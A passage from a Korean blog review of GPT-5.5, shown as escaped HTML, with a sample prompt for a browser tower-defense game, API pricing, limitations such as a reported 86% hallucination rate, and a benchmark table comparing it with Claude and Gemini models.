&lt;div style=&quot;background: #f5f7fa; border: 1px solid #d0d9e3; border-radius: 8px; padding: 16px 20px; font-family: Consolas, 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; line-height: 1.6; margin: 8px 0; overflow-x: auto;&quot;&gt;[ROLE] 당신은 10년차 시니어 HTML5 게임 개발자다. Canvas 2D 기반 타일 맵, BFS/A* 경로탐색, 엔티티-컴포넌트 게임 루프, 웨이브 스폰 시스템 설계에 능숙하다. 전략 게임 UI를 한국어로 자연스럽게 구성한다. 단일 HTML 파일로 즉시 실행 가능한 게임을 만드는 전문가다. [PROJECT] 코드네임: TOWER-DEF 목표 플랫폼: 데스크톱 Chrome 130+ 산출물: 단일 index.html (외부 라이브러리 CDN 사용 금지, vanilla JavaScript만) [FUNCTIONAL REQUIREMENTS] &amp;mdash; 반드시 모두 구현하라 F-01: 20&amp;times;14 타일 그리드 맵 (경로 타일 / 건설 가능 타일 / 장애물 타일 구분, Canvas 렌더링) F-02: 적 경로: 시작점 &amp;rarr; 도착점 BFS 최단경로, 타워 배치 시 경로 실시간 재계산 F-03: 타워 3종: 기본포탑(단일공격&amp;middot;저비용) / 저격포탑(긴사거리&amp;middot;고대미지) / 광역포탑(AOE&amp;middot;고비용) F-04: 타워 배치: 건설 가능 타일 클릭 &amp;rarr; 타워 선택 UI &amp;rarr; 배치, 골드 차감 F-05: 웨이브 시스템: 10웨이브, 웨이브마다 적 수&amp;middot;속도&amp;middot;HP 20% 증가, 웨이브 간 10초 휴식 F-06: 적 3종: 일반(기본) / 기갑(HP2배&amp;middot;속도절반) / 돌격대(HP절반&amp;middot;속도2배) F-07: 경제 시스템: 웨이브 시작 골드 지급, 적 처치 골드 획득, 타워 판매(건설비 70% 환급) F-08: 한국어 UI: &quot;웨이브 N/10&quot; / &quot;목숨: N&quot; / &quot;골드: N&quot; / 타워 이름&amp;middot;비용&amp;middot;설명 / &quot;게임 오버&quot; / &quot;승리!&quot; F-09: 타워 업그레이드: 타워 클릭 &amp;rarr; 업그레이드 버튼 (공격력&amp;middot;속도 각 +30%, 2단계까지) F-10: 게임 속도 배율: 1&amp;times;/2&amp;times; 토글 버튼, 일시정지(P키) [NON-FUNCTIONAL REQUIREMENTS] N-01: 60fps 유지 (requestAnimationFrame, 적 100마리 동시 처리 가능) N-02: 타워 배치 시 BFS 재계산 100ms 이내 완료 N-03: 타워 사거리 표시: 마우스 오버 시 반투명 원형 사거리 표시 N-04: 코드 총 길이 1,600줄 이하 (주석 제외) [ACCEPTANCE TESTS] &amp;mdash; 당신이 코드를 완성한 뒤 직접 검증하라 T-01: 웨이브 1 시작 시 적이 시작점 &amp;rarr; 도착점까지 BFS 경로를 따라 이동 확인 T-02: 타워로 경로를 완전 차단하면 배치 불가 처리 (경로 없음 &amp;rarr; 배치 거부) 확인 T-03: 광역포탑 공격 시 사거리 내 모든 적에게 동시 피해 확인 T-04: 적이 도착점 도달 시 목숨 1 차감, 목숨 0 &amp;rarr; &quot;게임 오버&quot; 화면 확인 T-05: 웨이브 10 모두 클리어 시 &quot;승리!&quot; 화면 + 최종 점수 표시 확인 T-06: 타워 2단계 업그레이드 후 공격력&amp;middot;속도 각 30% 증가 수치 UI에 반영 확인 [DELIVERABLES] 1. index.html 파일 1개 (즉시 브라우저에서 열면 실행되어야 함) 2. 코드 상단 주석 블록에 SELF_CHECK 결과 (각 T-01~T-06에 대해 PASS 또는 FAIL + 실패 이유) 3. 코드 하단 주석 블록에 경로탐색 알고리즘 설계 방침 및 알려진 한계 5줄 이내 [CONSTRAINTS] - 외부 라이브러리, CDN, npm 패키지 사용 금지 (순수 HTML+JS+CSS) - 한국어 주석 5줄 이상 포함 - ES2020+ 문법 자유롭게 사용 - inline style 또는 &amp;lt;style&amp;gt; 태그로 모든 스타일 처리 [NOW BEGIN] 위 모든 요구사항을 충족하는 완전한 index.html을 지금 바로 작성하라. 중간에 멈추거나 &quot;이후 구현 필요&quot; 같은 불완전한 코드를 남기지 말고, 처음부터 끝까지 완전한 코드를 제출하라.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.4 Pro로 만든 9개 게임도 같은 페이지의 다른 모델 필터에서 바로 비교해볼 수 있다. 프롬프트 구조가 어떻게 달라지는지, 완성도 차이가 어디서 나타나는지 직접 확인하기 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section-6&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 요금제 및 제한사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;API 가격 구조 (2026-04-24 기준)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4FXfX/dJMcaayjhVz/spHzTjNN0i5OPf2SDiHxQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4FXfX/dJMcaayjhVz/spHzTjNN0i5OPf2SDiHxQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4FXfX/dJMcaayjhVz/spHzTjNN0i5OPf2SDiHxQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4FXfX%2FdJMcaayjhVz%2FspHzTjNN0i5OPf2SDiHxQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1078&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가격 정보는 2026-04-24 기준이다.&lt;/b&gt; 변경 가능성이 있으므로 최신 가격은 &lt;a href=&quot;https://openai.com/api/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 가격 페이지&lt;/a&gt;에서 반드시 확인하도록 권한다.&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;입력&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;출력&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$5/1M 토큰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$30/1M 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$30/1M 토큰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$180/1M 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.4 (참고)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$2.50/1M 토큰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;$15/1M 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-gpt-5-5/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OpenAI 공식 블로그&lt;/a&gt;, 2026-04-24 기준)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5는 GPT-5.4 대비 정확히 2배 인상됐다. Batch/Flex 옵션을 사용하면 표준 가격의 50%, Priority 옵션은 표준의 250%가 적용된다. 입력 토큰이 272K를 초과하면 가격이 2배 적용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;비용 절감 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용 최소화가 목표라면 Batch/Flex 옵션이 효과적이다. 표준 대비 50% 비용으로 GPT-5.5를 쓸 수 있다. 실시간 응답이 불필요한 배치 처리, 비동기 분석 파이프라인 등에 적합하다. 반대로 응답 지연이 허용되지 않는 프로덕션 서비스에서는 Fast Mode(2.5배 비용)와 Priority 옵션(2.5배)의 차이를 파악하고 선택해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;주요 한계와 단점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환각률 86% (독립 기관 측정)&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbywrL/dJMcadBHAjX/HSe9LuPQcYJX71VIuzJKf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbywrL/dJMcadBHAjX/HSe9LuPQcYJX71VIuzJKf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbywrL/dJMcadBHAjX/HSe9LuPQcYJX71VIuzJKf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbywrL%2FdJMcadBHAjX%2FHSe9LuPQcYJX71VIuzJKf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1066&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Artificial Analysis의 AA-Omniscience 독립 평가에서 GPT-5.5의 환각률은 86%로 측정됐다. 이 수치는 OpenAI의 공식 발표가 아니라 독립 기관 Artificial Analysis의 AA-Omniscience 벤치마크 결과다. 같은 평가에서 Claude Opus 4.7은 36%, Gemini 3.1 Pro는 50%를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Handy AI는 이를 두고 &quot;이 모델은 다른 어떤 모델보다 더 많이 알지만, 모르는 질문에도 자신있게 답변하는 비율이 최고 경쟁사의 2.5배에 달한다&quot;고 분석했다. 아는 범위는 넓은데, 모르는 걸 물어봐도 자신 있게 대답하는 경향이 강하다는 뜻이다. 금융&amp;middot;법률&amp;middot;의료처럼 정확도가 중요한 곳에서는 교차 검증이 필수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GDPval 향상 1.9%p: 일상 업무 체감 제한&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GDPval 기준 GPT-5.5(84.9%)와 GPT-5.4(83.0%)의 차이는 1.9%p다. API 가격이 2배 인상된 것에 비해, 일반 지식 노동 영역의 성능 향상폭은 제한적이다. 에이전틱 코딩이나 수학&amp;middot;과학 연구가 주된 용도가 아닌 팀이라면, 업그레이드 ROI를 신중하게 계산해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP Atlas 도구 사용 열위&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP Atlas(Scale AI 운영 도구 사용 벤치마크)에서 GPT-5.5는 75.3%로, Claude Opus 4.7(79.1%)과 Gemini 3.1 Pro(78.2%)에 뒤진다. MCP 기반 에이전틱 파이프라인 구축이 핵심인 팀이라면 이 차이를 고려할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 id=&quot;section-7&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 대안 비교: Claude Mythos Preview vs Claude Opus 4.7 vs Gemini 3.1 Pro&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;벤치마크 종합 비교표&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://the-decoder.com/openai-unveils-gpt-5-5-claims-a-new-class-of-intelligence-at-double-the-api-price/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;The Decoder, 2026-04-24&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://deploymentsafety.openai.com/gpt-5-5&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;deploymentsafety.openai.com&lt;/a&gt;. 2026-04-24 기준)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;벤치마크&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;GPT-5.5&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;Claude Mythos Preview&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;Claude Opus 4.7&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;Gemini 3.1 Pro&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Terminal-Bench 2.0&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;82.7%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;82.0%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;SWE-Bench Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;58.6%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;77.8% ⚠️&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;64.3% ⚠️&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Expert-SWE&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;73.1%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;OSWorld-Verified&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;78.7%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;78.0%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;HLE (도구 없음)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;41.4%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;56.8%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;FrontierMath Tier 1-3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;51.7%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;43.8%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;36.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;FrontierMath Tier 4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;35.4%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;22.9%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;16.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;BrowseComp&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;84.4%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;79.3%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;85.9%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GDPval&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;84.9%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;80.3%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;67.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;MCP Atlas&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;75.3%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;79.1%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;78.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;CyberGym&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;81.8%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;83.1%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;73.1%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;MRCR v2 (1M)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;74.0%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;AA-Omniscience 환각률&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;86% &amp;uarr; 높을수록 불리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;&lt;b&gt;36%&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;50%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SWE-Bench Pro: OpenAI는 Claude Mythos Preview(77.8%)와 Claude Opus 4.7(64.3%)의 수치에 암기(memorization) 징후가 있다고 공식 지적했고, Anthropic은 이를 부분 인정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;종합 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Artificial Analysis 지능 인덱스에서 GPT-5.5는 3점 차로 1위를 기록했고, Claude Opus 4.7과 Gemini 3.1 Pro가 공동 2위다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1054&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgck3q/dJMcabxbmbQ/4trk2pbbjqY0R9GFLnRHQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgck3q/dJMcabxbmbQ/4trk2pbbjqY0R9GFLnRHQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgck3q/dJMcabxbmbQ/4trk2pbbjqY0R9GFLnRHQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdgck3q%2FdJMcabxbmbQ%2F4trk2pbbjqY0R9GFLnRHQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;1054&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한 줄 종합&lt;/b&gt;: GPT-5.5는 수학&amp;middot;과학&amp;middot;장문 컨텍스트&amp;middot;지식 노동에서 가장 넓은 우위를 가지며, Claude Mythos Preview는 일반 추론&amp;middot;사이버 보안에서 앞서고, Gemini 3.1 Pro는 웹 리서치와 도구 사용에서 실용적인 대안이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느 한 모델이 모든 영역에서 압도적이지는 않다. 벤치마크별로 선두가 분산되어 있으며, 도메인과 사용 패턴에 따라 최적 선택이 달라진다. 도구 사용 중심 에이전트를 구축한다면 Claude Opus 4.7이나 Gemini 3.1 Pro가 비용 대비 경쟁력을 가질 수 있다. 수학&amp;middot;과학 연구나 1M 장문 컨텍스트 처리가 핵심이라면 GPT-5.5의 우위가 뚜렷하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 id=&quot;section-8&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문 5가지&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 24px; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. GPT-5.5와 GPT-5.5 Pro 중 무엇을 선택해야 하나?&lt;/b&gt;&lt;/p&gt;
